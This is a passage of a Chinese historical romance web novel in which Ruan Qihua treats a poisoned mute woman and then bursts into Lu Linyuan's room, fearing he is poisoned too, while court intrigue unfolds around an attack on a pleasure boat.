水被溅得满地都是,阮绮华红着眼不说话,咬住下唇,捂着手护在胸前。
面上的红色已经褪去了大半,陆临渊默默估量着,这应当是清醒一些以后,不小心碰到了伤口。
没事就好。
陆临渊长呼一口气,胸膛中狂跳的怪物好不容易回归了正常。
盯着对方要杀人的目光,他退回至屏风后,
“斜后方有干净的巾帕,可放心取用,陆某不会再过来。因为府上不曾有女客,没有女子的衣物,所以还请姑娘今夜先忍耐一下。”
迟疑片刻后,屏风后传来从木桶边走出的水声。
对面人似乎还有别的顾虑,擦过身子后,迟迟没有别的动作。
“宋家马车送我二人归来时已近子时,恐惊扰阮家长辈,陆某便自作主张将你先带回了府上,预备先给你将药性解除,待身子爽利,完全清醒,再由你决定后续行程。一路除了我与宋臻,未曾有人见到你的情态,你可放心。”
“眼下你已经清醒,我今夜会在旁边的西厢房休息,大概两个时辰后便去上朝。东厢房还有两间屋子,基本东西都备齐了,姑娘可自行安排。”
陆临渊一番话说得真诚,没有犹豫,也没有半分隐瞒。
他心中清楚,阮绮华受了太多伤,又中了药,意志正是薄弱之时,思绪也很难连续起来。他若有心,完全可以诱导她住下。
这样坦然地解释太多,对方完全清醒后也不一定能记住,但至少......
至少今夜,他希望阮绮华能好眠,不要再耗费心力去忐忑。
说完这番话,陆临渊迈步回了厢房。
辗转反侧许久,终于听见对面的房间,传来轻微的,木门推开的声音。
37. 胆大包天
“明日一早就去尝尝杏花楼新出的猪肘子......”
摄政王府下人院落,门童小九小心地收起藏在枕下内袋的小钱袋,看了一眼旁边呼噜声震天的搭班小六,皱了皱鼻子。
好心情地默默决定赏好友半个,不,三分之一个肘子。
雨水洗净后的月色澄澈温柔,乌衣巷的各处角落,尽是好眠。
天色擦亮,
陆大人披上绯红官袍,脚步在东厢房门口停下。
按照惯例来服侍大人穿衣的小侍不敢打扰,低头在角落隐匿。
豆蝇般的小眼却默默盯向绯红官袍的一角。
陆大人似乎什么都没做。
“大人,该”上朝了。
那片绯红飞速转身,打断了他的话。
男人显得很紧张,食指静默地竖起贴在唇边,侧耳靠在门边确认里面的人还睡着。终于心满意足地转身走了。
尊贵的陆大人在满朝文武队伍的最后踏入了金銮殿。
游船不尽兴,今日的朝堂上少不得几番唇枪舌剑。
果然,刚开场,昨日莫名缺席接船的柳尚书便拉着脸启奏,名为“我朝年轻臣子肆意妄为,有违大雍先例,丢尽皇家脸面”的毒液伴随着痛心疾首的表情稳定地喷射。
字字句句未提陆临渊,但话里话外,字里行间都指向陆临渊。
柳尚书捶胸顿足的样子吸引了众人的注意,
除了某位“当朝年轻的臣子”尚且背着手八风不动。
不仅不动,这位“肆意妄为”的年轻权臣还颇为认真地倾听了老狐狸的整段弹劾。
待对方戏演完了,喘过来气了,才漫不经心地轻轻接过话茬:“柳尚书说得对,年轻人总是有些冒进。季大人就是失了警惕,不老实守在二舱,这才直直撞上了正在行凶的刺客,躺在舱尾奄奄一息,也还好被路过赏景的阮姑娘与宋姑娘撞见,这才保住了命。”
“还好是年轻,好好养养应当也就是少了眼断了手,不影响季大人办公。不过......”
陆临渊不咸不淡数过季赫楚的情况,话音未落,又笑着一转,突然发现什么般对着脸上已然变色的柳尚书关切地开口,“我观柳尚书气色不佳,平日还需注意些。您早年间在朝中操劳颇多,伤了身子,如今还是不宜情绪过激。”
“您说呢是吧,柳大人?”
柳春明的脸色青了又白,大理寺的人来得太快,他的人根本渗透不进去,只知道游船遭了刺客,陆临渊强令青雀舫调头。完全不清楚季赫楚的情况竟然如此可怖。
不止柳春明,在场他人,包括昨日上去递汤的林尚书也被陆临渊的话陡然一惊。
有反应快的,当即反应过来看向景仁帝。抛去季赫楚与宠妃之间的亲缘关系不谈,景仁帝对季翰林本人的看重也有目共睹,亲封的探花,一手送进翰林院成为编修。
出游一趟,回来直接成了废人,天子居然不动怒?
最为乖觉的林尚书默默收回了视线,静静等待龙椅上的那位开口。
陆临渊也同样看向龙椅上面色不佳的景仁帝,二人对视间,流动的气氛缓缓停滞。
然而出乎意料地,皇帝的发难没等来,队伍后方却传来一道众人并不熟悉的声音。
是低调和善的阮大人,他带着怒气开了口。这位初入京城的小小巡府,此刻毫不怯懦地对上了连柳春明都要迂回对待的尊贵权臣。
“照陆大人的说法,皇室组织的游船,陛下和各位亲王都在青雀舫上,这样的场合出现刺客,是否是陆大人的失职?若不是季翰林恰好拖住了刺客的脚步,那岂不是要闯进二舱甚至头舱?陆大人视诸位皇亲的安危于何处,又视陛下的安危于何处?!”
低调又好脾气的阮大人说到激动处,气得涨红了脸。
身旁的同僚默默挪开了一步,他当值多年,这还是第一次见到有人敢指着陆大人鼻子骂的。
虽听说阮家小姐昨日也在船上,但如今出事的是季翰林,阮大人就算后怕,也不用这样激动吧?
这跟在太岁头上动土有何区别,难不成是阮大人意识到京城太危险,决定以这种方式送自己卸任回江南享福?
同僚看向阮大人的眼里带了钦佩,这样做虽然容易被陆大人反手送进诏狱,但确实有一线机会能达成目的。富贵险中求,就看陆大人今日心情如何了。
他紧张地看过去,希望从陆大人的面上找出暴怒的蛛丝马迹来。
一般情况下,从陆大人的面色读出他的情绪是相当有难度的。
身居高位多年,若是随便来个阿猫阿狗都能看穿他的心思,那陆大人也不可能称霸朝堂这许多年了。
不过眼下,阮大人的同僚却诡异地读出了陆临渊的一丝慌张。
一种名为不知所措和心虚的表情同时出现在绯衣权臣脸上。
更惊悚的是,对方看向阮大人的眼神似乎在躲闪,“阮大人,我。”
发现这个秘密的同僚觉得他今日定是眼花了,不仅眼花了可能还听不清话了。
不然怎么会听到有人狗胆包天居然敢打断陆大人说话??
“哼!陆大人,大理寺这次未免太过于疏忽了,你这个大理寺卿,可是松懈了?”
顶着一对乌青眼袋,满脸络腮胡的宋将军抱臂站在武将队伍之首。他看上去刚从校场回来,满身的尘土还未曾清理,此刻这位灰头土脸的大雍杀神正接着阮大人的话头对陆临渊发难。
深深的怨气与杀气充斥着整个大殿。
“嘶——”
——
“小姐,您可算是回来了。王大夫,王大夫!”
“好了春桃,小点声。”
阮绮华休整一夜,脸色还是苍白如纸。
方才光是为了躲避她阿娘的眼线,就耗费了七八成心力,眼下只恨无力跑上前捂住丫鬟的嘴,只能低着声叮嘱。
这个时辰,她阿娘应当尚在睡梦中,可千万莫要吵醒了。
“将院门关上。”
春桃当下噤了声,手脚麻利地拉上门,将人搀进屋里。
“小姐,您快坐下,我给您梳洗一下。”阮绮华起了个大早回府,天色尚未全亮。春桃看不大清她的模样,伸手就要去点灯。
被阮绮华伸手按住。
“不必了,你方才叫王大夫,他昨夜是歇在厢房吗?”
“是,昨夜陆大人派人来通传,说您受了伤,让府医早早地候着。您放心,那人动作轻巧,就好像凭空出现在院中一样,肯定没惊动老爷和夫人。”
不惊动府里其他人还能通传,阮绮华在黑暗中沉默了一瞬,视线不可抑制地飘向窗外的院墙。
“叩叩——”
王永安拎着药箱匆匆出现,人还没坐下,嘴上就开始不停叨叨:“可算回来了,黑乎乎的,怎么能看清,我得把灯点上!春桃,去烧些热水来。”
烛光照亮内室的一瞬间,春桃恰好迈出门去。
药箱被王永安重重放下,他取出脉枕坐在阮绮华对面,示意她将手伸出来,然后目光灼灼地盯着女子裸露在外的脖颈。
上面的痕迹经过一夜的沉淀在烛光下显得更加突兀可怖。
“师傅......”
阮绮华每次这样喊他,必有所图。王永安连眼皮子都没掀,下巴轻轻一抬:“别喊了,快放上,不然一会儿春桃回来,看到伤口哭闹起来你还得哄。”
那就是没得商量了。
藏匿在暗处的伤口无处遁形,阮绮华只能伸出手。
“那只手呢?”
“把脉只需一只手。”
阮绮华将左手往更深处藏了藏。但这动作瞒不住王永安。
她是医者,醒来的第一时间就给自己诊过脉象。
“莫要磨蹭!”王永安朝她瞪眼,眼下的青黑太重,声音也无力,显得他凶狠的表情有些滑稽。
看这样子是没法糊弄过去了,阮绮华无奈,只能乖乖给他看。
“手上的伤不重,是我自己扎出来的,力道把握得很好,不曾伤到筋骨,只是看着可怖,养几天便好了。身上是有几处,不过都是擦伤,都不打紧,陆大人带来的太医给我清理得很好,用的都是太医院的药。”
为了验证自己的话,阮绮华特意笑着地将伤处指出来给王永安示意,可是手腕翻转间,王永安恼怒的声音还是从对面传来:
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“你给我把手放下!!要流血了!”
确实有温热的感觉从伤处传来,阮绮华面色一僵,小心地瞄了一眼王永安的眼色,然后讪讪地将手放下,眼睁睁看着对方一边叨叨一边将她的手包扎成看不出形状的球。
阮绮华的额角不自觉地猛跳几下,自家府医绝对是故意的。
想动手拆掉的想法在脑中盘旋几圈又在看到王永安红了的眼眶时被强行压下。
“你说得轻巧,那你同我说说,你壮如牛的脉搏是如何折腾成这般要死不活的模样的?”
壮如牛又是什么形容。
阮绮华对此表示不满,但她不敢反驳。没人比她自己更清楚自己的情况,天材地宝喂出来的身子,体魄比一般的男子还要康健。
她如何敢说出口,自己如今的虚弱是因为昨日在中迷药,负重伤的情况下咬牙自救造成的?
她更不敢说自己手上的伤口是自己在何种情况下扎出的。
王永安的眼神分明已经在说,他不敢听了。
“好了,师傅,开药吧。我相信您的医术,会将我调理回原来的模样的。”
“溜须拍马是无用的。”
王永安太明白阮绮华的性子了,越是严重的事情越是能被她用轻描淡写的几句话来带过。
阮绮华用泫然欲泣的眼神看过来。二人对视,最终还是王永安败下阵来。
“罢了。”
王永安垂下眼,无奈地叹气,他不过是小小府医,也操心不了那些,只能尽力写方子,为她调些伤药,让她少吃些苦。
“回来就好,师傅会给你调好的。”
阮绮华知道,王永安这一关算是过去了。
但还有一件事,她自上船开始便隐隐有了担忧。“这两日,哑女的情况如何?”
“自己还没好呢就担心旁的人。我看你就是操心太多,才将自己折了进去。”王永安在写方子的间隙抬头瞪了她一眼。
然后才没好气地说道“那姑娘好着呢,你昨日出发后,她就一直昏睡着,我每隔两个时辰便会去探一次脉,脉象平稳得很。”
在受到重创时,昏睡是一种极佳休养的方式。每隔两个时辰便探一次脉,王永安的照顾称得上极为细致。
“平稳就好......”
阮绮华颔首,可是为何心中却仍然有一道阴影挥之不去呢?她轻轻蹙眉,忍不住思索。
天边擦亮的一瞬间,有什么随日光的照射一同散开。
“不好!”
她猛的站起身,抛下正在开方子的王永安,快步往外间迈。
“你仔细身子!”
日光从大开的门外投入,立冬的日头,像明艳却没有温度的纸扎花。
照在罗汉榻上的女子身上,气氛一片祥和,她似乎仍在安详地昏睡。
但阮绮华却看得胆战心惊。
触碰到哑女的一瞬间,她脑海中的猜测一步步清晰。
雁栖湖湖水的冰冷从哑女的指尖蔓延到阮绮华的手上。
“如何?”
王永安追出来时,正见到阮绮华将哑女的手从锦被中拿出探脉,本就苍白的少女脸上的神情凝重到能滴出水。王永安忐忑地开了口。
“可是脉象有何不妥?”
…...“平稳,非常平稳。”
“平稳不是很正常吗?”王永安语带疑惑,哑女的情况太过复杂,能保持平稳地昏睡已经是最好的结果,若如昨日一般高烧不退,她的身子扛不住便有丧命的危险。
他的疑问久久没有得到解答。
日光照到的地方愈发扩大,阮绮华抬手躲了一下。侧身立在塌前,眼睫缓缓颤动。
“可她,身中剧毒。”
什么?
电光火石之间,王永安脑中一片清明。
目光再次看过去,阮绮华已经将人从锦被挖了出来,“帮我抬起她的上半身。”
哑女的双目仍旧紧闭,随着身体被抬起,黑色的血液从她的嘴角流出。
春桃端着热水走进,阮绮华头也不回地吩咐:“春桃!你将布巾打湿,取我的银针来。”
“是,小姐!”
38. 毒发
银针在燃烧的烛火上燎过,带着滚烫的尖锐一针针刺进皮肉中,传出烧焦的气味。
百汇、风池,上星、太冲,银针翻飞,转而出现在哑女的头顶、四肢。
大股大股的黑血止不住地从她的嘴角往下淌,昏暗的烛光下,与阮绮华滴落的汗水混在一起,濡湿了她身下的软垫。
上好的刺绣在血与汗中绽放出花。
屋内一片静默,阮绮华注视着手下的女子,手下快准狠地又是一针刺下。
针尖没入,她几乎被扎透了。
春桃垂着眼,不敢细看这番堪称酷刑的医治过程,只能低垂着眼靠边站着,全副身心化作阮绮华指尖摇摇欲坠的红色,随时准备递取阮绮华所需的器具。
刺入伤者身体的每一针都是医者心血的注入。
好一会儿,黑血才堪堪停住外涌的脚步。
王永安终于找到空隙上前,打破阮绮华因劳累而在满室响彻的喘息。
“溢血的症状基本控制住了,接下来的你说,我做便是。”
他伸手接过针具,毒发得又急又凶,最要紧的是保住命,现下阮绮华已经完成了最困难的那一部分,理应歇会儿了。
阮绮华站太久,确实有几分腿软。
当下也不再推脱,就着春桃端着茶盏的手抿了参汤,然后在一旁的八仙凳坐下。双手捧着参汤暖和身子。
氤氲的热气在她眼前铺开,将眼前的场景溶解。
水雾冲开眼中的酸涩,阮绮华好一会儿才缓过来,眯着眼看向王永安。
说是让她盯着,王永安动手,其实现在的场面完全可以由王永安一人掌控。
施针太久,阮绮华的手有些脱力,她斜靠着墙,右手软绵绵地垂下,搭在塌边。眼看着将死之人在她的手下被拉回人世,这样的满足感让她忽略了满身的不适。
“算这女子运道好,我昨日伤的不是右手。”阮绮华笑着抬起左手,圆滚如球的手被举在她脸颊边,颇有一种娇女抡大锤的滑稽感。
“小姐!”春桃的嘴角向下瘪出一个弧度,不愿她拿自己的伤说笑,眼看着又要红起眼眶来。
“好好好我不说。”阮绮华投降似的把左手往上又举了举,然后乖巧放在膝上。
王永安手上的动作不停,一边感叹伤者这幅身子的破破烂烂,一边对阮绮华难得赞同道“这女子被你捡到,就是最好的运道了。”
大小姐打蛇随棍上,腿上的姿态愈发没了章法,绣花鞋摇摇晃晃,她微微抬起下颌,嘴角扬起:“哼,那是自然。几次三番累死累活地救她,碰到本小姐,她得是求神拜佛求来的。”
施针的手还有些轻颤,阮绮华边说着边费力翻了翻手腕,“求神拜佛都差点意思,我看嘛,待她醒来,直接去江南给我捐个庙好了。”
哑女放完黑血,当下在王永安手下呼吸愈发平稳。
阮绮华凑上去要探脉,嘴上有一搭没一搭地插科打诨。“也不知这人何时能醒,我还等着她给我说点实话呢。”
“她何时能醒,你还不清楚?”王永安斜乜她一眼。“早便说小姐您慎重考虑,救下此人定会生出事来,你看......”
“哎呀!”
阮绮华打断了他的话,手上摸索出来一样东西。
——那是原本被哑女深深攥在手心的玉佩。
王永安探头来看,道:“算是有良心,知道又被你救了一次,手上松了力气。”
天色逐渐大亮,日光没有热乎气,
这是正式入了冬。
阮绮华抿着嘴不说话,将玉佩在手中一寸寸握紧。春桃不敢言语,察觉气氛不对,顺着阮绮华的视线落到她的手上。
方正的玉佩大半被遮住,莹润的一角上漏出来熟悉的花纹,屋子里燃着地龙,但恍惚间,阮绮华却觉得自己仍然停留在冰冷的雁栖湖的雨中。
“小姐......”
——这是与季赫楚身上那枚龙凤鸳鸯佩一对的。
阮绮华的脚下仿佛生了根,光线被吞去,昏暗狭小的雨中木屋再次落了锁。
冰冷僵硬的尸体,角落发霉的苔藓,步步紧逼的狰狞面孔齐齐浮现在她脑海里。
有人握住了她的肩膀,正在努力晃动,试图将她拉出去,可她的眼前一片黑暗。
“小姐,小姐!您说话!”
轰隆的雷声与划过天际的闪电仍旧在她的记忆中深存。
醒来后的镇定被瓦解,强压下去的记忆如潮水般涌上来。
少女像个精致的提线木偶,任由侍女惊恐地叫喊仍旧沉浸在梦境。
她无知觉地抬起了被包裹的左手。
她知道如何逃出窘境的。
阮绮华面无表情地拿起了一旁的银针。
高高抬起的那一刹那,温暖的怀抱比锋利的针尖先触碰了她的身体。
“没事了,没事了,华儿,没事了。”
是,谁?
手中的玉佩被人硬生生抠出,那人强势又柔软,梦境被果断打碎,裂开的缝隙中涌进来一股奇异而稳定的芬芳笼罩。
“夫人,您来了。”一阵慌张的动静以后,这是王永安着急忙慌行礼的声音。
但美妇人没心思搭理周遭人的情况,自从踏进这扇门开始,她全副身心都扑在阮绮华身上。
“阿......娘?”
“诶,是阿娘来了,华儿,是娘来了。”
美妇人抬手抚上阮绮华的面颊,“怎的如此之冰,是不是做梦魇住了,别怕啊,别怕,阿娘来了,没有什么能伤害我的华儿。”
阮母像护崽的母鸡一般,将阮绮华整个捉进怀中。
“还不快去叫人烧水让我儿好好休整一番?天天不知道忙些什么,下人呢?”
其实阮绮华的身量早已高出阮母一截。
但她仍旧无比自然地依偎在母亲怀中,没有丝毫违和。
温暖湿润的掌心握住了她捏着银针的手。
屋子里的地龙终于再次燃烧。她直愣愣地看着娘亲一手揽着她走到里间一手叉着腰指点江山。
然后看着下人端着盆搬着桶鱼贯而入,“我儿的手为何如此冰冷,你看看!穿得这样少,如何能不冷。”
“水给我烧热些,去库房把那支百年老人参给我切了倒水里,王永安!库房还有些什么补身子的,都给我华儿切了泡水里。春桃,柳枝,去,什么颜色鲜亮
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给小姐拿什么衣裳,梳妆匣里最下层的钗环全拿过来。”
阮绮华不安地拢了拢衣襟,试图将脖颈上突兀的痕迹埋进去。
但被包扎成球的左手瞒不住。
阮母的眼圈通红,捧着她的手训道:“华儿,我都听你爹说了,船上有刺客。我的华儿受苦了。”
她抬手将下人屏退,示意阮绮华泡进飘着满满大补药物的热水中,这是要亲自伺候她沐浴了:“让阿娘看看,是受了多少伤?”
!
阮绮华的脑中嗡的一声,拒绝的话当即从嘴中滑出:“阿娘,我无事,您怎么能干这样的活儿呢,让春桃进来伺候便是。”
“春”“这有什么打紧,你小时候不也是阿娘这样照顾过来的。”阮母毫不留情地打断了她的话,并且果断开始上手,试图拉下她的外衫。
阮绮华不曾想过自己的噩梦会被自家母亲如此干脆利落地打碎,不,踩碎。
与阮母拉扯,不让对方解开她的外衫时,从醒来起一直笼在心头的阴影忽然间淡去。
阮绮华忽地平静下来,对阮母露出一个笑来。“阿娘,华儿没事了,只是受了些皮外伤,现在有些累,您不要担心,王府医替我诊过脉,您若是不信,可向他再确认一番。眼下让我独自一人安静地泡一会儿吧,昨日都没歇息好呢。”
阮母的手放了下来。她定定地看着阮绮华,“华儿,阿爹阿娘永远支持你。有任何事,同我们说,官职、金银,都没法同你相提并论。即便是散尽家财,我同你阿爹也不会让你被欺负了去。”
“知道了阿娘。”
院门吱呀一声开合,美妇人消失在门后。
阮绮华解开外衫,露出里面不合身的松垮衣衫来。随着衣物一件一件落地,光裸的玉足踏进浴桶中。
被天材地宝堆满的水没过了精致的锁骨。
水雾氤氲,纷乱的思绪从阮绮华心中升起。
若是她不曾猜错,那枚玉佩应当是定情玉佩。
能让季赫楚贴身佩戴与之定情的玉佩,这位玉佩的主人,应当颇受看重才对。
可是,若她当真被季赫楚放在心上,以季赫楚的身份地位,为何会让她被欺凌至此,以至于要手脚并用地爬去御前告状呢?
难不成这玉佩是女子偷来的?其实她只是一个被权贵豢养的玩物。
可若是如此,她又为何如此看重这枚并不值钱的玉佩,以至于生命垂危之际尚且要紧握住它。
一个接一个的谜团在水中翻滚冒泡。
暖意从四肢百骸中涌入,阮绮华半眯着眼,仰躺在热水中,任由思绪纷飞。
等等——
平静的水面突然扬起水花。
一个凭空冒出的念头在她脑中惊叫着炸开。
方才她确认过,仅仅是止住血后,那女子的脉象现下便已经再度平稳了下来,恢复到毒发之前的隐隐亏空状态,只不过相比之前,脉象的亏空感已经昭然若揭。
毒物阴狠险恶,她并未奢求过自己半知半解下便能配置出完全的解药。眼下能够强行压制,为解毒拖延时间,她已经心满意足。
可是,同一时间服下药物的陆大人是否也在毒发呢?!
39. 你为何在我床上?
穿堂惊掠的风声被看不见的丝线拉紧。
木桶中水面缓缓冷却。无法抑制的下坠感从内心深处蔓延到全身。
零散的画面在脑海中不停地盘旋缠绕。
躺在榻上,口吐黑血,面如金纸的人,变成了陆临渊。
阮绮华呼吸滞住,裸露在水面外的肌肤上是一阵一阵的战栗。几乎是抑制不住地,她的脊背挺直,她要从水中站起身。
同一瞬间,大丫鬟春桃推门而入,红肿的双目猝不及防看过来,与她四目相对。
“小姐您要去哪?夫人命我来伺候您沐浴。”
担忧心疼的视线在她的身体上逡巡,从身后递过来的语气带着哽咽:
“小姐,我们都很担心您。”
阮绮华朝外看过去,说要转身离开的人,影子却还在门外台阶处静默。
那是天崩地裂都不能撼动的,要为她在这世上最珍贵的宝物拦住一切危险的坚定身影。
阮绮华觉得胸膛中的物什被分成两半。
一墙之隔的某处床榻,是陆大人的忍痛蜷缩;但一门之隔的青阶上,是阿娘在看到她的伤口后偷偷抹去的眼泪。
思绪和心神在疯狂撕扯。
春桃的手轻柔地按上她的肩,“一切都会好的,小姐,您累坏了,让春桃伺候您沐浴吧,好吗?”
身体顺着力道慢慢滑入水中,柔软的长指贴上她的发间。
一切都会好的,虽说毒发凶险,但挺过那阵子彻骨的寒毒,也不会要了命去,她发动她阮氏所有的财力物力来,再多多地寻些天材地宝,加进每日的汤药里,陆大人也不会有事的。
她对她的医术有信心,也相信以陆大人惊人的意志力,一定能挺过去。
所以,她不必非得冒着医术暴露的风险现在赶过去。
对吗?
温柔的水穿过乌发,一切尘埃与苦难会顺着水流被带走。
王永安不知将哑女带去了何处,但似乎也没有人在意。
所谓朝堂风波,什么暗波涌动,家族危机,全都被抛弃。她是这一方小小天地唯一的珍宝。
在她不知道的地方,阮富明在朝堂为他的女儿冲锋陷阵,而看得见的地方,门外的身影在沉默地守候。
春桃没再开口,只恨不得将呼吸都放轻,专心将她受苦的印记洗净,换成高贵的芬芳。
诡谲的风云无法侵入矮小的院墙。
这是绝对的安定。
“叮——”
身姿矫健的狸奴跳上身边的黄花梨木架,铜盆摇摇晃晃,与木架发出清脆的碰撞声。
同一瞬间,阮绮华毫无征兆地睁开眼,起身迈出木桶。
哗啦啦的水声随之响起。
然后是阮绮华不容置喙的声线“春桃,替我穿衣。”
“小姐,您的伤!还需要多泡”“替我穿衣。”
锋利的眼角刺破春桃慌张的眼神,她明白这里面是水雾盖不住的坚定。
“......是。”
“华儿?”伴随着屋内窸窸窣窣的穿衣声,门外终于传来按捺不住的阮母的声音。
“不多泡会儿吗?”
“可是水冷了?还是说熏香不符合你心意?娘这就让下人换了它,小”
未说出口的话被突然打开门的阮绮华打断。
“不用了,阿娘”阮绮华提着药箱,与门口的阮母直直对上。
“我要去救人。”
“你的伤还没好,不该外出,而且你阿爹说了,你的医术不该暴露,王永安在府上,他,他可以。”
阮绮华没开口,面上却没有半分要更改念头的意思。
“一定要去吗?”阮母闭了闭眼。
“要的。”阮绮华垂下眼眸,不愿再对上母亲担忧的神情。握着药箱的手又紧了紧。
没有人开口,不过短短几息的时间,却好像被无限地拉长。
满院的海棠花随风摇动,年轻时砸遍阮富明书房的暴躁美人就站在花间,忽地温柔笑了笑。
她注视自己千娇百宠长大的宝贝半晌,然后轻轻侧过身,做出了一个绝不该出现在高贵的京官夫人身上的动作——
抬起倨傲的下巴并且挑挑眉:
“啧,还愣着,不是说要救人的啊?再不走一会儿人都死半道上了呀。”
“想去做什么去便是了,遇到坎,你阿爹跟我就是用金山银山填也得给它填得平平的。”
阮绮华怔楞了一瞬,然后提着药箱向外冲。腿在前面奔,脑中还抑制不住地在后面思考,她家阿娘这样算不算装低调破了功。
伤痛和疲惫被扔到了九霄云外。
风也在为她提供助力。
阮绮华脚下生风,转身就进了另一道院落的门。
“陆大人!”
“陆大人!”
女子的声音响彻整个院落,却得不到回应。
不会是,已经晕过去了吧?
她心道不好,顾不得埋怨自己为何不早些来。看着眼前紧闭的房门,咬咬牙,脚下一个用力——
“砰”的一声,踹开了。
很简洁的摆设,藏不了人。
她的视线快速扫过外间,然后定了定神果断往里间迈入。
四方雕花的床架古朴端正,床上的锦被乱糟糟的,深处是长条形的隆起。
窗户未关,风吹动了枕边的书页,露出被红色沾染的画面。
看清的一瞬间,阮绮华瞳孔一缩——那是陆临渊在马车上看过的案卷。
陆大人畏冷,陆家的地龙烧得比别处更旺些。
但她丝毫感觉不到热意。
她的脚步在床前停住。
被包裹住的左手轻轻颤抖,她试探性地开口唤男人的名字,但屋内仍旧只有死一般的寂静。
悔意疯狂翻涌,从脚底涌上的寒气遍布了她的全身。
药箱被随意地放在脚边,她的眼睛无力地闭上,再次睁开时,她伸出了手。
即便这人只剩了最后一口气,不,即便是这人已经咽了气。
她今日都得给他从阎罗殿抢回来!
“吱呀——”
“阮姑娘?”带着疑惑的熟悉的声音从她身后传来。
平日听着温润如春风的声音此刻像极了催命的符。
什么???
一个措手不及,阮绮华手上失力,身子重重陷入了艳红的锦被中。
空荡的锦被终于迎来了主人。
被熟悉的香气环抱的一瞬间,阮绮华的脑海中闪过了无数个念头。
除了人鬼情未了以外,最突出的念头便是——
自己若是当即晕过去,是否是合理?
陆大人没事,好端端地出现在她身后。
但自己是为何提着药箱踹开了他的房门闯进他的“深闺”,然后像个登徒子一般掀开了他的被子自己躺了进去?
兵法有云,以不变应万变,阮绮华决定闭上眼,企图将自己的存在完全隐匿。
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但陆大人听不见她的心声,不会让她如意的。
身边的软垫塌陷了下去。
此刻最不想听见的声音还是在她的耳边响起:
“阮姑娘,为何在陆某的,床上?”
后面两字似乎难以启齿,不过不像是因为羞涩,好像是因为对方在憋笑。
短短几息时间,阮绮华却恍然觉得过了数十载。
算了。
她在心中祈求了无数神佛确认无果以后,终于认命地从满目刺眼的红中抬起了脸。
“大人,我方才跌倒了。”
阮绮华一直不理解话本中的人为何会扯些明显不符合常理的谎。但此刻她领悟了。
破罐子破摔,她也不理会对方明显不信任的神情,颇为自然地从床榻上坐起了身。
斜斜倚着床柱,用仅剩的完好的右手随意将衣服拢了拢,然后露出一副“信不信我都是这般”的神情来。
“......”“那这是?”陆临渊瞥了眼脚边的药箱。
“噢,今日的汤药在提盒里,我方才走得急,带错了,一会儿唤下人给大人送来。”
屋内的空气一时凝固,但短短两日已经经历大风大浪的阮绮华已经能够泰然自若。
甚至就着姿势开启了新的话题:“不知陆大人对京城各位大人的婚配情况有无了解?”
“你指的是?”
“季赫楚。”
提起此人,陆临渊周身的气息一变,凌厉化作尖刺,几乎要变成实质。
但阮绮华的神情却非常自然,不像是说起前一日差点置自己于死地的仇人,而像是说起一位无关紧要的人。
陆临渊深深看她一眼,似乎要从她的脸上看出掩藏的情绪。
未果,他嗓音低沉地开了口:“暂无公开的婚配。但坊间传闻,他的母亲曾与柳尚书的夫人是手帕交,他尚未出世,便给他定下了同柳家的亲事。”
“柳家,柳如霜?”阮绮华的疑问中带有惊讶,这二人似乎只是表兄妹关系。
“不,是柳家大小姐,柳惊鸿。”
见阮绮华脸上的疑惑更加浓重,陆临渊接着开口解释道:“柳如霜,柳二小姐,她的母亲曾是柳春明府上一个普通的贵妾。与季家定下婚约的是柳家大小姐的母亲,元氏。”
元氏?
阮绮华一直听闻众人称柳如霜为柳二小姐,倒是确实一直未曾想过,她的上面是何人。
“那柳家大小姐与元氏此时在何处?为何不见人影?”
“皆已去世。”
陆临渊的声线平稳,他并不意外于阮绮华的神情。
话已至此,不必多言,阮绮华也能猜到一二。
宠妻灭妾,这是昏聩权贵们常用的戏码。
手中的权力与金钱会随着仕途水涨船高,但当年十里红妆求娶的意中人只会随着时间容颜不再。
“大人!”
院门被大力推开,有人脚下生风径直闯了进来。一个晃神,直挺挺站在了里屋门口。
“你,您,你们?”
李一彦的嘴唇开始颤抖,眼睛因不可置信而瞪大。
阮绮华一个猛劲想要站起来,却因坐得太靠里,一时间动作不能,反倒将衣物蹭乱了几分。
走得急没擦干的长发在方才的摩擦中被擦得乱翘。
李一彦左脚绊右脚,原地转身差点摔了个大马趴。
稳住身形后一步不停地向外奔,脸上的惊恐不亚于见了鬼。
40. 高位者低头
李一彦一个趔趄,慌慌张张跑出门。
屋内的两人仿佛被施了定身术,谁也没有先开口。
如此沉默好半晌,阮绮华有些僵硬地抬了抬胳膊,期盼着可以说些什么打破尴尬境地。
余光却不小心发现了二人的着装——
她生平第一次觉得,穿得朴素些也未尝不可。
身旁的陆大人刚刚下朝未曾更衣,一席官袍坐得端正。
尊贵的阮夫人应当是想用朱红与鎏金冲冲晦气,亲自给她点的广袖流仙裙可以直接穿去大婚现场。
阮绮华绝望地瞥了一眼身后的艳红鸳鸯被,默默闭上嘴。
不怪李副使误会,这种情况怕是当事人有嘴也说不清了。
“阮姑娘,也不必太过担心。李大人在大理寺当值多年,应当是有分寸的。”
这话放在之前,阮绮华或许会相信的。但自从那日路过天星阁,听见里头的说书人绘声绘色说阮家小姐吹吹打打找陆大人提亲之后,她对大理寺各位大人的口风便有了质疑。
于是她默不作声递过去一个难以形容的眼神。
陆临渊对自己下属处理公务的能力极其有信心,但......他暗暗下决心对下属窥探他私生活的事情也加以约束。
他抬手摸摸鼻尖,轻咳一声,正色道:“阮姑娘,你方才问这些,是为何?”
——
午时一刻,柳家书房。
水洗过之后,京城的天久违地变蓝。
“啪!”
清脆的巴掌声穿过雕花木门,这用力的程度让门外的下人身子一颤,本能地后退一步,身体不小心撞到木门,发出细微的一声响。
她惊恐地看向身旁,一起当值的绿袄丫鬟立即回以警示的眼神,二人齐齐看向屋内。
幸好,里面的人似乎忙着别的事情,没有注意到这点小小波动。
“蠢货!”柳春明穿着靛蓝官袍,大手毫不留情地落在柳如霜脸上,这一巴掌的力道之大,让人直接被掼飞出去,白皙的脸蛋霎时出现了五个血红指印。
“爹,爹爹,女儿只是想着那瘸子走不远,担心打扰您公务,便没有第一时间禀告您,女儿一定能将她找回来,爹爹您信我,我保证。”
柳如霜被打得晕头转向,她虽然早知那个贱人地位特殊,可以随意欺辱,但必须留住命。
但她着实未曾想一向疼爱自己的父亲会如此震怒,甚至连朝服都未曾换下,进了门就对她实施暴行。
对未知的恐慌笼罩住了她,柳如霜不敢呼痛,更不敢求情,她娘是个上位的妾,她们没有母家,绝不能让柳春明抛弃她们。
想到这里,她一个劲地膝行上去,匍匐着祈求柳春明,这就要伸手拉他的衣摆。
“爹,爹您听我说。爹......”
余光瞟到柳春明身后,坐在贵妃榻上,目睹这一切的柳母不曾言语,甚至默默往里缩了缩身子。
